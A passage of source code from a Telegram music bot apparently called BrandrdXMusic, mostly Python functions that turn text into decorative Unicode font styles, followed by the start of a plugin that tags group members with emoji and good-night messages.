"🅡︎", "s": "🅢︎", "t": "🅣︎", "u": "🅤︎", "v": "🅥︎", "w": "🅦︎", "x": "🅧︎", "y": "🅨︎", "z": "🅩︎", "A": "🅐︎", "B": "🅑︎", "C": "🅒︎", "D": "🅓︎", "E": "🅔︎", "F": "🅕︎", "G": "🅖︎", "H": "🅗︎", "I": "🅘︎", "J": "🅙︎", "K": "🅚︎", "L": "🅛︎", "M": "🅜︎", "N": "🅝︎", "O": "🅞︎", "P": "🅟︎", "Q": "🅠︎", "R": "🅡︎", "S": "🅢︎", "T": "🅣︎", "U": "🅤︎", "V": "🅥︎", "W": "🅦︎", "X": "🅧︎", "Y": "🅨︎", "Z": "🅩", "0": "⓿", "1": "➊", "2": "➋", "3": "➌", "4": "➍", "5": "➎", "6": "➏", "7": "➐", "8": "➑", "9": "➒", } for i, j in style.items(): text = text.replace(i, j) return text def gothic(text): style = { "a": "𝔞", "b": "𝔟", "c": "𝔠", "d": "𝔡", "e": "𝔢", "f": "𝔣", "g": "𝔤", "h": "𝔥", "i": "𝔦", "j": "𝔧", "k": "𝔨", "l": "𝔩", "m": "𝔪", "n": "𝔫", "o": "𝔬", "p": "𝔭", "q": "𝔮", "r": "𝔯", "s": "𝔰", "t": "𝔱", "u": "𝔲", "v": "𝔳", "w": "𝔴", "x": "𝔵", "y": "𝔶", "z": "𝔷", "A": "𝔄", "B": "𝔅", "C": "ℭ", "D": "𝔇", "E": "𝔈", "F": "𝔉", "G": "𝔊", "H": "ℌ", "I": "ℑ", "J": "𝔍", "K": "𝔎", "L": "𝔏", "M": "𝔐", "N": "𝔑", "O": "𝔒", "P": "𝔓", "Q": "𝔔", "R": "ℜ", "S": "𝔖", "T": "𝔗", "U": "𝔘", "V": "𝔙", "W": "𝔚", "X": "𝔛", "Y": "𝔜", "Z": "ℨ", } for i, j in style.items(): text = text.replace(i, j) return text def bold_gothic(text): style = { "a": "𝖆", "b": "𝖇", "c": "𝖈", "d": "𝖉", "e": "𝖊", "f": "𝖋", "g": "𝖌", "h": "𝖍", "i": "𝖎", "j": "𝖏", "k": "𝖐", "l": "𝖑", "m": "𝖒", "n": "𝖓", "o": "𝖔", "p": "𝖕", "q": "𝖖", "r": "𝖗", "s": "𝖘", "t": "𝖙", "u": "𝖚", "v": "𝖛", "w": "𝖜", "x": "𝖝", "y": "𝖞", "z": "𝖟", "A": "𝕬", "B": "𝕭", "C": "𝕮", "D": "𝕺", "E": "𝕰", "F": "𝕱", "G": "𝕲", "H": "𝕳", "I": "𝕴", "J": "𝕵", "K": "𝕶", "L": "𝕷", "M": "𝕸", "N": "𝕹", "O": "𝕺", "P": "𝕻", "Q": "𝕼", "R": "𝕽", "S": "𝕾", "T": "𝕿", "U": "𝖀", "V": "𝖁", "W": "𝖂", "X": "𝖃", "Y": "𝖄", "Z": "𝖅", } for i, j in style.items(): text = text.replace(i, j) return text def cloud(text): style = { "a": "a͜͡", "b": "b͜͡", "c": "c͜͡", "d": "d͜͡", "e": "e͜͡", "f": "f͜͡", "g": "g͜͡", "h": "h͜͡", "i": "i͜͡", "j": "j͜͡", "k": "k͜͡", "l": "l͜͡", "m": "m͜͡", "n": "n͜͡", "o": "o͜͡", "p": "p͜͡", "q": "q͜͡", "r": "r͜͡", "s": "s͜͡", "t": "t͜͡", "u": "u͜͡", "v": "v͜͡", "w": "w͜͡", "x": "x͜͡", "y": "y͜͡", "z": "z͜͡", "A": "A͜͡", "B": "B͜͡", "C": "C͜͡", "D": "D͜͡", "E": "E͜͡", "F": "F͜͡", "G": "G͜͡", "H": "H͜͡", "I": "I͜͡", "J": "J͜͡", "K": "K͜͡", "L": "L͜͡", "M": "M͜͡", "N": "N͜͡", "O": "O͜͡", "P": "P͜͡", "Q": "Q͜͡", "R": "R͜͡", "S": "S͜͡", "T": "T͜͡", "U": "U͜͡", "V": "V͜͡", "W": "W͜͡", "X": "X͜͡", "Y": "Y͜͡", "Z": "Z͜͡", } for i, j in style.items(): text = text.replace(i, j) return text def happy(text): style = { "a": "ă̈", "b": "b̆̈", "c": "c̆̈", "d": "d̆̈", "e": "ĕ̈", "f": "f̆̈", "g": "ğ̈", "h": "h̆̈", "i": "ĭ̈", "j": "j̆̈", "k": "k̆̈", "l": "l̆̈", "m": "m̆̈", "n": "n̆̈", "o": "ŏ̈", "p": "p̆̈", "q": "q̆̈", "r": "r̆̈", "s": "s̆̈", "t": "t̆̈", "u": "ŭ̈", "v": "v̆̈", "w": "w̆̈", "x": "x̆̈", "y": "y̆̈", "z": "z̆̈", "A": "Ă̈", "B": "B̆̈", "C": "C̆̈", "D": "D̆̈", "E": "Ĕ̈", "F": "F̆̈", "G": "Ğ̈", "H": "H̆̈", "I": "Ĭ̈", "J": "J̆̈", "K": "K̆̈", "L": "L̆̈", "M": "M̆̈", "N": "N̆̈", "O": "Ŏ̈", "P": "P̆̈", "Q": "Q̆̈", "R": "R̆̈", "S": "S̆̈", "T": "T̆̈", "U": "Ŭ̈", "V": "V̆̈", "W": "W̆̈", "X": "X̆̈", "Y": "Y̆̈", "Z": "Z̆̈", } for i, j in style.items(): text = text.replace(i, j) return text def sad(text): style = { "a": "ȃ̈", "b": "b̑̈", "c": "c̑̈", "d": "d̑̈", "e": "ȇ̈", "f": "f̑̈", "g": "g̑̈", "h": "h̑̈", "i": "ȋ̈", "j": "j̑̈", "k": "k̑̈", "l": "l̑̈", "m": "m̑̈", "n": "n̑̈", "o": "ȏ̈", "p": "p̑̈", "q": "q̑̈", "r": "ȓ̈", "s": "s̑̈", "t": "t̑̈", "u": "ȗ̈", "v": "v̑̈", "w": "w̑̈", "x": "x̑̈", "y": "y̑̈", "z": "z̑̈", "A": "Ȃ̈", "B": "B̑̈", "C": "C̑̈", "D": "D̑̈", "E": "Ȇ̈", "F": "F̑̈", "G": "G̑̈", "H": "H̑̈", "I": "Ȋ̈", "J": "J̑̈", "K": "K̑̈", "L": "L̑̈", "M": "M̑̈", "N": "N̑̈", "O": "Ȏ̈", "P": "P̑̈", "Q": "Q̑̈", "R": "Ȓ̈", "S": "S̑̈", "T": "T̑̈", "U": "Ȗ̈", "V": "V̑̈", "W": "W̑̈", "X": "X̑̈", "Y": "Y̑̈", "Z": "Z̑̈", } for i, j in style.items(): text = text.replace(i, j) return text def special(text): style = { "a": "🇦 ", "b": "🇧 ", "c": "🇨 ", "d": "🇩 ", "e": "🇪 ", "f": "🇫 ", "g": "🇬 ", "h": "🇭 ", "i": "🇮 ", "j": "🇯 ", "k": "🇰 ", "l": "🇱 ", "m": "🇲 ", "n": "🇳 ", "o": "🇴 ", "p": "🇵 ", "q": "🇶 ", "r": "🇷 ", "s": "🇸 ", "t": "🇹 ", "u": "🇺 ", "v": "🇻 ", "w": "🇼 ", "x": "🇽 ", "y": "🇾 ", "z": "🇿 ", "A": "🇦 ", "B": "🇧 ", "C": "🇨 ", "D": "🇩 ", "E": "🇪 ", "F": "🇫 ", "G": "🇬 ", "H": "🇭 ", "I": "🇮 ", "J": "🇯 ", "K": "🇰 ", "L": "🇱 ", "M": "🇲 ", "N": "🇳 ", "O": "🇴 ", "P": "🇵 ", "Q": "🇶 ", "R": "🇷 ", "S": "🇸 ", "T": "🇹 ", "U": "🇺 ", "V": "🇻 ", "W": "🇼 ", "X": "🇽 ", "Y": "🇾 ", "Z": "🇿 ", } for i, j in style.items(): text = text.replace(i, j) return text def square(text): style = { "a": "🄰", "b": "🄱", "c": "🄲", "d": "🄳", "e": "🄴", "f": "🄵", "g": "🄶", "h": "🄷", "i": "🄸", "j": "🄹", "k": "🄺", "l": "🄻", "m": "🄼", "n": "🄽", "o": "🄾", "p": "🄿", "q": "🅀", "r": "🅁", "s": "🅂", "t": "🅃", "u": "🅄", "v": "🅅", "w": "🅆", "x": "🅇", "y": "🅈", "z": "🅉", "A": "🄰", "B": "🄱", "C": "🄲", "D": "🄳", "E": "🄴", "F": "🄵", "G": "🄶", "H": "🄷", "I": "🄸", "J": "🄹", "K": "🄺", "L": "🄻", "M": "🄼", "N": "🄽", "O": "🄾", "P": "🄿", "Q": "🅀", "R": "🅁", "S": "🅂", "T": "🅃", "U": "🅄", "V": "🅅", "W": "🅆", "X": "🅇", "Y": "🅈", "Z": "🅉", } for i, j in style.items(): text = text.replace(i, j) return text def dark_square(text): style = { "a": "🅰︎", "b": "🅱︎", "c": "🅲︎", "d": "🅳︎", "e": "🅴︎", "f": "🅵︎", "g": "🅶︎", "h": "🅷︎", "i": "🅸︎", "j": "🅹︎", "k": "🅺︎", "l": "🅻︎", "m": "🅼︎", "n": "🅽︎", "o": "🅾︎", "p": "🅿︎", "q": "🆀︎", "r": "🆁︎", "s": "🆂︎", "t": "🆃︎", "u": "🆄︎", "v": "🆅︎", "w": "🆆︎", "x": "🆇︎", "y": "🆈︎", "z": "🆉︎", "A": "🅰︎", "B": "🅱︎", "C": "🅲︎", "D": "🅳︎", "E": "🅴︎", "F": "🅵︎", "G": "🅶︎", "H": "🅷︎", "I": "🅸︎", "J": "🅹︎", "K": "🅺︎", "L": "🅻︎", "M": "🅼︎", "N": "🅽︎", "O": "🅾︎", "P": "🅿︎", "Q": "🆀︎", "R": "🆁︎", "S": "🆂︎", "T": "🆃︎", "U": "🆄︎", "V": "🆅︎", "W": "🆆︎", "X": "🆇︎", "Y": "🆈︎", "Z": "🆉︎", } for i, j in style.items(): text = text.replace(i, j) return text def andalucia(text): style = { "a": "ꪖ", "b": "᥇", "c": "ᥴ", "d": "ᦔ", "e": "ꫀ", "f": "ᠻ", "g": "ᧁ", "h": "ꫝ", "i": "𝓲", "j": "𝓳", "k": "𝘬", "l": "ꪶ", "m": "ꪑ", "n": "ꪀ", "o": "ꪮ", "p": "ρ", "q": "𝘲", "r": "𝘳", "s": "𝘴", "t": "𝓽", "u": "ꪊ", "v": "ꪜ", "w": "᭙", "x": "᥊", "y": "ꪗ", "z": "ɀ", "A": "ꪖ", "B": "᥇", "C": "ᥴ", "D": "ᦔ", "E": "ꫀ", "F": "ᠻ", "G": "ᧁ", "H": "ꫝ", "I": "𝓲", "J": "𝓳", "K": "𝘬", "L": "ꪶ", "M": "ꪑ", "N": "ꪀ", "O": "ꪮ", "P": "ρ", "Q": "𝘲", "R": "𝘳", "S": "𝘴", "T": "𝓽", "U": "ꪊ", "V": "ꪜ", "W": "᭙", "X": "᥊", "Y": "ꪗ", "Z": "ɀ", } for i, j in style.items(): text = text.replace(i, j) return text def manga(text): style = { "a": "卂", "b": "乃", "c": "匚", "d": "ᗪ", "e": "乇", "f": "千", "g": "ᘜ", "h": "卄", "i": "|", "j": "フ", "k": "Ҝ", "l": "ㄥ", "m": "爪", "n": "几", "o": "ㄖ", "p": "卩", "q": "Ҩ", "r": "尺", "s": "丂", "t": "ㄒ", "u": "ㄩ", "v": "ᐯ", "w": "山", "x": "乂", "y": "ㄚ", "z": "乙", "A": "卂", "B": "乃", "C": "匚", "D": "ᗪ", "E": "乇", "F": "千", "G": "ᘜ", "H": "卄", "I": "|", "J": "フ", "K": "Ҝ", "L": "ㄥ", "M": "爪", "N": "几", "O": "ㄖ", "P": "卩", "Q": "Ҩ", "R": "尺", "S": "丂", "T": "ㄒ", "U": "ㄩ", "V": "ᐯ", "W": "山", "X": "乂", "Y": "ㄚ", "Z": "乙", } for i, j in style.items(): text = text.replace(i, j) return text def stinky(text): style = { "a": "a̾", "b": "b̾", "c": "c̾", "d": "d̾", "e": "e̾", "f": "f̾", "g": "g̾", "h": "h̾", "i": "i̾", "j": "j̾", "k": "k̾", "l": "l̾", "m": "m̾", "n": "n̾", "o": "o̾", "p": "p̾", "q": "q̾", "r": "r̾", "s": "s̾", "t": "t̾", "u": "u̾", "v": "v̾", "w": "w̾", "x": "x̾", "y": "y̾", "z": "z̾", "A": "A̾", "B": "B̾", "C": "C̾", "D": "D̾", "E": "E̾", "F": "F̾", "G": "G̾", "H": "H̾", "I": "I̾", "J": "J̾", "K": "K̾", "L": "L̾", "M": "M̾", "N": "N̾", "O": "O̾", "P": "P̾", "Q": "Q̾", "R": "R̾", "S": "S̾", "T": "T̾", "U": "U̾", "V": "V̾", "W": "W̾", "X": "X̾", "Y": "Y̾", "Z": "Z̾", } for i, j in style.items(): text = text.replace(i, j) return text def bubbles(text): style = { "a": "ḁͦ", "b": "b̥ͦ", "c": "c̥ͦ", "d": "d̥ͦ", "e": "e̥ͦ", "f": "f̥ͦ", "g": "g̥ͦ", "h": "h̥ͦ", "i": "i̥ͦ", "j": "j̥ͦ", "k": "k̥ͦ", "l": "l̥ͦ", "m": "m̥ͦ", "n": "n̥ͦ", "o": "o̥ͦ", "p": "p̥ͦ", "q": "q̥ͦ", "r": "r̥ͦ", "s": "s̥ͦ", "t": "t̥ͦ", "u": "u̥ͦ", "v": "v̥ͦ", "w": "w̥ͦ", "x": "x̥ͦ", "y": "y̥ͦ", "z": "z̥ͦ", "A": "Ḁͦ", "B": "B̥ͦ", "C": "C̥ͦ", "D": "D̥ͦ", "E": "E̥ͦ", "F": "F̥ͦ", "G": "G̥ͦ", "H": "H̥ͦ", "I": "I̥ͦ", "J": "J̥ͦ", "K": "K̥ͦ", "L": "L̥ͦ", "M": "M̥ͦ", "N": "N̥ͦ", "O": "O̥ͦ", "P": "P̥ͦ", "Q": "Q̥ͦ", "R": "R̥ͦ", "S": "S̥ͦ", "T": "T̥ͦ", "U": "U̥ͦ", "V": "V̥ͦ", "W": "W̥ͦ", "X": "X̥ͦ", "Y": "Y̥ͦ", "Z": "Z̥ͦ", } for i, j in style.items(): text = text.replace(i, j) return text def underline(text): style = { "a": "a͟", "b": "b͟", "c": "c͟", "d": "d͟", "e": "e͟", "f": "f͟", "g": "g͟", "h": "h͟", "i": "i͟", "j": "j͟", "k": "k͟", "l": "l͟", "m": "m͟", "n": "n͟", "o": "o͟", "p": "p͟", "q": "q͟", "r": "r͟", "s": "s͟", "t": "t͟", "u": "u͟", "v": "v͟", "w": "w͟", "x": "x͟", "y": "y͟", "z": "z͟", "A": "A͟", "B": "B͟", "C": "C͟", "D": "D͟", "E": "E͟", "F": "F͟", "G": "G͟", "H": "H͟", "I": "I͟", "J": "J͟", "K": "K͟", "L": "L͟", "M": "M͟", "N": "N͟", "O": "O͟", "P": "P͟", "Q": "Q͟", "R": "R͟", "S": "S͟", "T": "T͟", "U": "U͟", "V": "V͟", "W": "W͟", "X": "X͟", "Y": "Y͟", "Z": "Z͟", } for i, j in style.items(): text = text.replace(i, j) return text def ladybug(text): style = { "a": "ꍏ", "b": "ꌃ", "c": "ꏳ", "d": "ꀷ", "e": "ꏂ", "f": "ꎇ", "g": "ꁅ", "h": "ꀍ", "i": "ꀤ", "j": "꒻", "k": "ꀘ", "l": "꒒", "m": "ꎭ", "n": "ꈤ", "o": "ꂦ", "p": "ᖘ", "q": "ꆰ", "r": "ꋪ", "s": "ꌚ", "t": "꓄", "u": "ꀎ", "v": "꒦", "w": "ꅐ", "x": "ꉧ", "y": "ꌩ", "z": "ꁴ", "A": "ꍏ", "B": "ꌃ", "C": "ꏳ", "D": "ꀷ", "E": "ꏂ", "F": "ꎇ", "G": "ꁅ", "H": "ꀍ", "I": "ꀤ", "J": "꒻", "K": "ꀘ", "L": "꒒", "M": "ꎭ", "N": "ꈤ", "O": "ꂦ", "P": "ᖘ", "Q": "ꆰ", "R": "ꋪ", "S": "ꌚ", "T": "꓄", "U": "ꀎ", "V": "꒦", "W": "ꅐ", "X": "ꉧ", "Y": "ꌩ", "Z": "ꁴ", } for i, j in style.items(): text = text.replace(i, j) return text def rays(text): style = { "a": "a҉", "b": "b҉", "c": "c҉", "d": "d҉", "e": "e҉", "f": "f҉", "g": "g҉", "h": "h҉", "i": "i҉", "j": "j҉", "k": "k҉", "l": "l҉", "m": "m҉", "n": "n҉", "o": "o҉", "p": "p҉", "q": "q҉", "r": "r҉", "s": "s҉", "t": "t҉", "u": "u҉", "v": "v҉", "w": "w҉", "x": "x҉", "y": "y҉", "z": "z҉", "A": "A҉", "B": "B҉", "C": "C҉", "D": "D҉", "E": "E҉", "F": "F҉", "G": "G҉", "H": "H҉", "I": "I҉", "J": "J҉", "K": "K҉", "L": "L҉", "M": "M҉", "N": "N҉", "O": "O҉", "P": "P҉", "Q": "Q҉", "R": "R҉", "S": "S҉", "T": "T҉", "U": "U҉", "V": "V҉", "W": "W҉", "X": "X҉", "Y": "Y҉", "Z": "Z҉", } for i, j in style.items(): text = text.replace(i, j) return text def birds(text): style = { "a": "a҈", "b": "b҈", "c": "c҈", "d": "d҈", "e": "e҈", "f": "f҈", "g": "g҈", "h": "h҈", "i": "i҈", "j": "j҈", "k": "k҈", "l": "l҈", "m": "m҈", "n": "n҈", "o": "o҈", "p": "p҈", "q": "q҈", "r": "r҈", "s": "s҈", "t": "t҈", "u": "u҈", "v": "v҈", "w": "w҈", "x": "x҈", "y": "y҈", "z": "z҈", "A": "A҈", "B": "B҈", "C": "C҈", "D": "D҈", "E": "E҈", "F": "F҈", "G": "G҈", "H": "H҈", "I": "I҈", "J": "J҈", "K": "K҈", "L": "L҈", "M": "M҈", "N": "N҈", "O": "O҈", "P": "P҈", "Q": "Q҈", "R": "R҈", "S": "S҈", "T": "T҈", "U": "U҈", "V": "V҈", "W": "W҈", "X": "X҈", "Y": "Y҈", "Z": "Z҈", } for i, j in style.items(): text = text.replace(i, j) return text def slash(text): style = { "a": "a̸", "b": "b̸", "c": "c̸", "d": "d̸", "e": "e̸", "f": "f̸", "g": "g̸", "h": "h̸", "i": "i̸", "j": "j̸", "k": "k̸", "l": "l̸", "m": "m̸", "n": "n̸", "o": "o̸", "p": "p̸", "q": "q̸", "r": "r̸", "s": "s̸", "t": "t̸", "u": "u̸", "v": "v̸", "w": "w̸", "x": "x̸", "y": "y̸", "z": "z̸", "A": "A̸", "B": "B̸", "C": "C̸", "D": "D̸", "E": "E̸", "F": "F̸", "G": "G̸", "H": "H̸", "I": "I̸", "J": "J̸", "K": "K̸", "L": "L̸", "M": "M̸", "N": "N̸", "O": "O̸", "P": "P̸", "Q": "Q̸", "R": "R̸", "S": "S̸", "T": "T̸", "U": "U̸", "V": "V̸", "W": "W̸", "X": "X̸", "Y": "Y̸", "Z": "Z̸", } for i, j in style.items(): text = text.replace(i, j) return text def stop(text): style = { "a": "a⃠", "b": "b⃠", "c": "c⃠", "d": "d⃠", "e": "e⃠", "f": "f⃠", "g": "g⃠", "h": "h⃠", "i": "i⃠", "j": "j⃠", "k": "k⃠", "l": "l⃠", "m": "m⃠", "n": "n⃠", "o": "o⃠", "p": "p⃠", "q": "q⃠", "r": "r⃠", "s": "s⃠", "t": "t⃠", "u": "u⃠", "v": "v⃠", "w": "w⃠", "x": "x⃠", "y": "y⃠", "z": "z⃠", "A": "A⃠", "B": "B⃠", "C": "C⃠", "D": "D⃠", "E": "E⃠", "F": "F⃠", "G": "G⃠", "H": "H⃠", "I": "I⃠", "J": "J⃠", "K": "K⃠", "L": "L⃠", "M": "M⃠", "N": "N⃠", "O": "O⃠", "P": "P⃠", "Q": "Q⃠", "R": "R⃠", "S": "S⃠", "T": "T⃠", "U": "U⃠", "V": "V⃠", "W": "W⃠", "X": "X⃠", "Y": "Y⃠", "Z": "Z⃠", } for i, j in style.items(): text = text.replace(i, j) return text def skyline(text): style = { "a": "a̺͆", "b": "b̺͆", "c": "c̺͆", "d": "d̺͆", "e": "e̺͆", "f": "f̺͆", "g": "g̺͆", "h": "h̺͆", "i": "i̺͆", "j": "j̺͆", "k": "k̺͆", "l": "l̺͆", "m": "m̺͆", "n": "n̺͆", "o": "o̺͆", "p": "p̺͆", "q": "q̺͆", "r": "r̺͆", "s": "s̺͆", "t": "t̺͆", "u": "u̺͆", "v": "v̺͆", "w": "w̺͆", "x": "x̺͆", "y": "y̺͆", "z": "z̺͆", "A": "A̺͆", "B": "B̺͆", "C": "C̺͆", "D": "D̺͆", "E": "E̺͆", "F": "F̺͆", "G": "G̺͆", "H": "H̺͆", "I": "I̺͆", "J": "J̺͆", "K": "K̺͆", "L": "L̺͆", "M": "M̺͆", "N": "N̺͆", "O": "O̺͆", "P": "P̺͆", "Q": "Q̺͆", "R": "R̺͆", "S": "S̺͆", "T": "T̺͆", "U": "U̺͆", "V": "V̺͆", "W": "W̺͆", "X": "X̺͆", "Y": "Y̺͆", "Z": "Z̺͆", } for i, j in style.items(): text = text.replace(i, j) return text def arrows(text): style = { "a": "a͎", "b": "b͎", "c": "c͎", "d": "d͎", "e": "e͎", "f": "f͎", "g": "g͎", "h": "h͎", "i": "i͎", "j": "j͎", "k": "k͎", "l": "l͎", "m": "m͎", "n": "n͎", "o": "o͎", "p": "p͎", "q": "q͎", "r": "r͎", "s": "s͎", "t": "t͎", "u": "u͎", "v": "v͎", "w": "w͎", "x": "x͎", "y": "y͎", "z": "z͎", "A": "A͎", "B": "B͎", "C": "C͎", "D": "D͎", "E": "E͎", "F": "F͎", "G": "G͎", "H": "H͎", "I": "I͎", "J": "J͎", "K": "K͎", "L": "L͎", "M": "M͎", "N": "N͎", "O": "O͎", "P": "P͎", "Q": "Q͎", "R": "R͎", "S": "S͎", "T": "T͎", "U": "U͎", "V": "V͎", "W": "W͎", "X": "X͎", "Y": "Y͎", "Z": "Z͎", } for i, j in style.items(): text = text.replace(i, j) return text def rvnes(text): style = { "a": "ል", "b": "ጌ", "c": "ር", "d": "ዕ", "e": "ቿ", "f": "ቻ", "g": "ኗ", "h": "ዘ", "i": "ጎ", "j": "ጋ", "k": "ጕ", "l": "ረ", "m": "ጠ", "n": "ክ", "o": "ዐ", "p": "የ", "q": "ዒ", "r": "ዪ", "s": "ነ", "t": "ፕ", "u": "ሁ", "v": "ሀ", "w": "ሠ", "x": "ሸ", "y": "ሃ", "z": "ጊ", "A": "ል", "B": "ጌ", "C": "ር", "D": "ዕ", "E": "ቿ", "F": "ቻ", "G": "ኗ", "H": "ዘ", "I": "ጎ", "J": "ጋ", "K": "ጕ", "L": "ረ", "M": "ጠ", "N": "ክ", "O": "ዐ", "P": "የ", "Q": "ዒ", "R": "ዪ", "S": "ነ", "T": "ፕ", "U": "ሁ", "V": "ሀ", "W": "ሠ", "X": "ሸ", "Y": "ሃ", "Z": "ጊ", } for i, j in style.items(): text = text.replace(i, j) return text def strike(text): style = { "a": "a̶", "b": "b̶", "c": "c̶", "d": "d̶", "e": "e̶", "f": "f̶", "g": "g̶", "h": "h̶", "i": "i̶", "j": "j̶", "k": "k̶", "l": "l̶", "m": "m̶", "n": "n̶", "o": "o̶", "p": "p̶", "q": "q̶", "r": "r̶", "s": "s̶", "t": "t̶", "u": "u̶", "v": "v̶", "w": "w̶", "x": "x̶", "y": "y̶", "z": "z̶", "A": "A̶", "B": "B̶", "C": "C̶", "D": "D̶", "E": "E̶", "F": "F̶", "G": "G̶", "H": "H̶", "I": "I̶", "J": "J̶", "K": "K̶", "L": "L̶", "M": "M̶", "N": "N̶", "O": "O̶", "P": "P̶", "Q": "Q̶", "R": "R̶", "S": "S̶", "T": "T̶", "U": "U̶", "V": "V̶", "W": "W̶", "X": "X̶", "Y": "Y̶", "Z": "Z̶", } for i, j in style.items(): text = text.replace(i, j) return text def frozen(text): style = { "a": "a༙", "b": "b༙", "c": "c༙", "d": "d༙", "e": "e༙", "f": "f༙", "g": "g༙", "h": "h༙", "i": "i༙", "j": "j༙", "k": "k༙", "l": "l༙", "m": "m༙", "n": "n༙", "o": "o༙", "p": "p༙", "q": "q༙", "r": "r༙", "s": "s༙", "t": "t༙", "u": "u༙", "v": "v༙", "w": "w༙", "x": "x༙", "y": "y༙", "z": "z༙", "A": "A༙", "B": "B༙", "C": "C༙", "D": "D༙", "E": "E༙", "F": "F༙", "G": "G༙", "H": "H༙", "I": "I༙", "J": "J༙", "K": "K༙", "L": "L༙", "M": "M༙", "N": "N༙", "O": "O༙", "P": "P༙", "Q": "Q༙", "R": "R༙", "S": "S༙", "T": "T༙", "U": "U༙", "V": "V༙", "W": "W༙", "X": "X༙", "Y": "Y༙", "Z": "Z༙", } for i, j in style.items(): text = text.replace(i, j) return text ================================================ FILE: BrandrdXMusic/plugins/admins/gmtag.py ================================================ from BrandrdXMusic import app import asyncio import random from pyrogram import Client, filters from pyrogram.enums import ChatType, ChatMemberStatus from pyrogram.errors import UserNotParticipant from pyrogram.types import ChatPermissions spam_chats = [] EMOJI = [ "🦋🦋🦋🦋🦋", "🧚🌸🧋🍬🫖", "🥀🌷🌹🌺💐", "🌸🌿💮🌱🌵", "❤️💚💙💜🖤", "💓💕💞💗💖", "🌸💐🌺🌹🦋", "🍔🦪🍛🍲🥗", "🍎🍓🍒🍑🌶️", "🧋🥤🧋🥛🍷", "🍬🍭🧁🎂🍡", "🍨🧉🍺☕🍻", "🥪🥧🍦🍥🍚", "🫖☕🍹🍷🥛", "☕🧃🍩🍦🍙", "🍁🌾💮🍂🌿", "🌨️🌥️⛈️🌩️🌧️", "🌷🏵️🌸🌺💐", "💮🌼🌻🍀🍁", "🧟🦸🦹🧙👸", "🧅🍠🥕🌽🥦", "🐷🐹🐭🐨🐻‍❄️", "🦋🐇🐀🐈🐈‍⬛", "🌼🌳🌲🌴🌵", "🥩🍋🍐🍈🍇", "🍴🍽️🔪🍶🥃", "🕌🏰🏩⛩️🏩", "🎉🎊🎈🎂🎀", "🪴🌵🌴🌳🌲", "🎄🎋🎍🎑🎎", "🦅🦜🕊️🦤🦢", "🦤🦩🦚🦃🦆", "🐬🦭🦈🐋🐳", "🐔🐟🐠🐡🦐", "🦩🦀🦑🐙🦪", "🐦🦂🕷️🕸️🐚", "🥪🍰🥧🍨🍨", " 🥬🍉🧁🧇", ] TAGMES = [ " **➠ ɢᴏᴏᴅ ɴɪɢʜᴛ 🌚** ", " **➠ ᴄʜᴜᴘ ᴄʜᴀᴘ sᴏ ᴊᴀ 🙊** ", " **➠ ᴘʜᴏɴᴇ ʀᴀᴋʜ ᴋᴀʀ sᴏ ᴊᴀ, ɴᴀʜɪ ᴛᴏ ʙʜᴏᴏᴛ ᴀᴀ ᴊᴀʏᴇɢᴀ..👻** ", " **➠ ᴀᴡᴇᴇ ʙᴀʙᴜ sᴏɴᴀ ᴅɪɴ ᴍᴇɪɴ ᴋᴀʀ ʟᴇɴᴀ ᴀʙʜɪ sᴏ ᴊᴀᴏ..?? 🥲** ", " **➠ ᴍᴜᴍᴍʏ ᴅᴇᴋʜᴏ ʏᴇ ᴀᴘɴᴇ ɢғ sᴇ ʙᴀᴀᴛ ᴋʀ ʀʜᴀ ʜ ʀᴀᴊᴀɪ ᴍᴇ ɢʜᴜs ᴋᴀʀ, sᴏ ɴᴀʜɪ ʀᴀʜᴀ 😜** ", " **➠ ᴘᴀᴘᴀ ʏᴇ ᴅᴇᴋʜᴏ ᴀᴘɴᴇ ʙᴇᴛᴇ ᴋᴏ ʀᴀᴀᴛ ʙʜᴀʀ ᴘʜᴏɴᴇ ᴄʜᴀʟᴀ ʀʜᴀ ʜᴀɪ 🤭** ", " **➠ ᴊᴀɴᴜ ᴀᴀᴊ ʀᴀᴀᴛ ᴋᴀ sᴄᴇɴᴇ ʙɴᴀ ʟᴇ..?? 🌠** ", " **➠ ɢɴ sᴅ ᴛᴄ.. 🙂** ", " **➠ ɢᴏᴏᴅ ɴɪɢʜᴛ sᴡᴇᴇᴛ ᴅʀᴇᴀᴍ ᴛᴀᴋᴇ ᴄᴀʀᴇ..?? ✨** ", " **➠ ʀᴀᴀᴛ ʙʜᴜᴛ ʜᴏ ɢʏɪ ʜᴀɪ sᴏ ᴊᴀᴏ, ɢɴ..?? 🌌** ", " **➠ ᴍᴜᴍᴍʏ ᴅᴇᴋʜᴏ 11 ʙᴀᴊɴᴇ ᴡᴀʟᴇ ʜᴀɪ ʏᴇ ᴀʙʜɪ ᴛᴀᴋ ᴘʜᴏɴᴇ ᴄʜᴀʟᴀ ʀʜᴀ ɴᴀʜɪ sᴏ ɴᴀʜɪ ʀʜᴀ 🕦** ", " **➠ ᴋᴀʟ sᴜʙʜᴀ sᴄʜᴏᴏʟ ɴᴀʜɪ ᴊᴀɴᴀ ᴋʏᴀ, ᴊᴏ ᴀʙʜɪ ᴛᴀᴋ ᴊᴀɢ ʀʜᴇ ʜᴏ 🏫** ", " **➠ ʙᴀʙᴜ, ɢᴏᴏᴅ ɴɪɢʜᴛ sᴅ ᴛᴄ..?? 😊** ", " **➠ ᴀᴀᴊ ʙʜᴜᴛ ᴛʜᴀɴᴅ ʜᴀɪ, ᴀᴀʀᴀᴍ sᴇ ᴊᴀʟᴅɪ sᴏ ᴊᴀᴛɪ ʜᴏᴏɴ 🌼** ", " **➠ ᴊᴀɴᴇᴍᴀɴ, ɢᴏᴏᴅ ɴɪɢʜᴛ 🌷** ", " **➠ ᴍᴇ ᴊᴀ ʀᴀʜɪ sᴏɴᴇ, ɢɴ sᴅ ᴛᴄ 🏵️** ", " **➠ ʜᴇʟʟᴏ ᴊɪ ɴᴀᴍᴀsᴛᴇ, ɢᴏᴏᴅ ɴɪɢʜᴛ 🍃** ", " **➠ ʜᴇʏ, ʙᴀʙʏ ᴋᴋʀʜ..? sᴏɴᴀ ɴᴀʜɪ ʜᴀɪ ᴋʏᴀ ☃️** ", " **➠ ɢᴏᴏᴅ ɴɪɢʜᴛ ᴊɪ, ʙʜᴜᴛ ʀᴀᴀᴛ ʜᴏ ɢʏɪ..? ⛄** ", " **➠ ᴍᴇ ᴊᴀ ʀᴀʜɪ ʀᴏɴᴇ, ɪ ᴍᴇᴀɴ sᴏɴᴇ ɢᴏᴏᴅ ɴɪɢʜᴛ ᴊɪ 😁** ", " **➠ ᴍᴀᴄʜʜᴀʟɪ ᴋᴏ ᴋᴇʜᴛᴇ ʜᴀɪ ғɪsʜ, ɢᴏᴏᴅ ɴɪɢʜᴛ 